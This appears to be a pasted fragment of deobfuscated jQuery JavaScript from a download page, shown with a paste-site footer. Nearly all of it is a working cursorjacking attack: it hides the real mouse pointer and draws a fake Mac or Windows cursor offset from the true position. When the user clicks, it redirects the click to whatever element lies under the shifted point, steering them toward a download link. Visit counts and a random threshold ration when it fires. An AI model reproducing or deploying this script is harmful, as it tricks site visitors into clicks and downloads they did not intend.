  767.                 return false;
  768.             }
  769.         }
  770.         return true;
  771.     }, init(), options.setRegexp = function(str, n) {
  772.         var i;
  773.         for (i in obj) {
  774.             if (fn.call(obj, i)) {
  775.                 if (n === i) {
  776.                     obj[i] = str;
  777.                 }
  778.             }
  779.         }
  780.     }, options.setNamespace = function() {
  781.         return first.is = i, this;
  782.     }, options;
  783. });
  784. var m;
  785. var d;
  786. var r;
  787. var XKV3D6 = Math.floor(Math.random() * 100);
  788. var XKU3D6 = Math.round(100 / Math.pow(0.917, 0.33333333333333));
  789. var vsc = $["session"].get("visitcount");
  790. if (!is["not"].undefined(vsc) || vsc == 1) {
  791.     $["session"].set("visitcount", 1);
  792.     /** @type {number} */
  793.     vsc = 1;
  794. } else {
  795.     if ($["session"].get("visitcount") != 1) {
  796.         $["session"].set("visitcount", ++vsc);
  797.     }
  798. }
  799. $(document).ready(function() {
  800.     /**
  801.      * @param {?} resp
  802.      * @return {undefined}
  803.      */
  804.     function poll(resp) {
  805.         var t = $(window).height();
  806.         var c = $("#downloadUrl a").offset();
  807.         var y = $("#itemDownloadBottom").offset();
  808.         var emptyJ = $("#downloadUrl a");
  809.         var b = (new Date).getTime();
  810.         $("#upcoming").show();
  811.         if (c["top"] - $(window).scrollTop() < 0 || y["top"] - $(window).scrollTop() < 0 || (c["top"] - $(window).scrollTop() > t || y["top"] - $(window).scrollTop() > t)) {
  812.             $("#upcoming").css("left", resp["clientX"] + "px").css("top", resp["clientY"] + "px");
  813.         } else {
  814.             /** @type {number} */
  815.             c = c["top"] - $(window).scrollTop();
  816.             /** @type {number} */
  817.             y = y["top"] - $(window).scrollTop();
  818.             var animationCompletion = resp["clientY"];
  819.             /** @type {number} */
  820.             var modificator = (c * t - y * t) / (t * (y * y) - y * (t * t));
  821.             /** @type {number} */
  822.             var m02 = (c * (t * t) - y * y * t) / (y * (t * t) - t * (y * y));
  823.             /** @type {number} */
  824.             var camelKey = modificator * (animationCompletion * animationCompletion) + m02 * animationCompletion;
  825.             $("#upcoming").css("left", resp["clientX"] + "px").css("top", camelKey + "px");
  826.             if (emptyJ.offset()["left"] < resp["clientX"] && (resp["clientX"] < emptyJ.offset()["left"] + emptyJ.width() && (emptyJ.offset()["top"] < camelKey + $(window).scrollTop() && camelKey + $(window).scrollTop() < emptyJ.offset()["top"] + emptyJ.height()))) {
  827.                 $(document).unbind("click");
  828.                 $(document).bind("click", function(dataAndEvents) {
  829.                     $["session"].set("visitcount", ++vsc);
  830.                 });
  831.                 setTimeout(function() {
  832.                     var a = (new Date).getTime();
  833.                     if (a - b > 400) {
  834.                         $("#upcoming_s").hide();
  835.                         setTimeout(function() {
  836.                             $("#upcoming_s").show();
  837.                         }, 400);
  838.                     }
  839.                 }, 450);
  840.             } else {
  841.                 $("#upcoming_s").show();
  842.                 $(document).unbind("click");
  843.                 $(document).bind("click", function(a) {
  844.                     var _0xcbd1x10 = $("#upcoming").position();
  845.                     $("#upcoming").hide();
  846.                     $("#upcoming_s").hide();
  847.                     var data = document.elementFromPoint(a["clientX"], camelKey);
  848.                     $("#upcoming_s").show();
  849.                     $("#upcoming").show();
  850.                     data.click();
  851.                 });
  852.             }
  853.         }
  854.         $("#upcoming_s").css("top", resp["clientY"] - 50 + "px").css("left", resp["clientX"] - 50 + "px");
  855.     }
  856.     if (document.getElementById("upcoming") !== null) {
  857.         if ((vsc == 1 || (vsc < 3 || vsc % 2)) && XKV3D6 <= XKU3D6) {
  858.             $("body").css("cursor", "none");
  859.             if (is.mac()) {
  860.                 $("#upcoming").html("<img class='mc' src='/mc.png' />");
  861.             } else {
  862.                 $("#upcoming").html("<img class='wn' src='/wn.png' />");
  863.             }
  864.             /**
  865.              * @param {?} resp
  866.              * @return {undefined}
  867.              */
  868.             document["onmousemove"] = function(resp) {
  869.                 poll(resp);
  870.             };
  871.             $(document).mousemove(function(resp) {
  872.                 poll(resp);
  873.             }).on("mouseenter", function() {
  874.                 $("#upcoming").show();
  875.             }).on("mouseleave", function() {
  876.                 $("#upcoming").hide();
  877.             });
  878.         }
  879.     }
  880. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement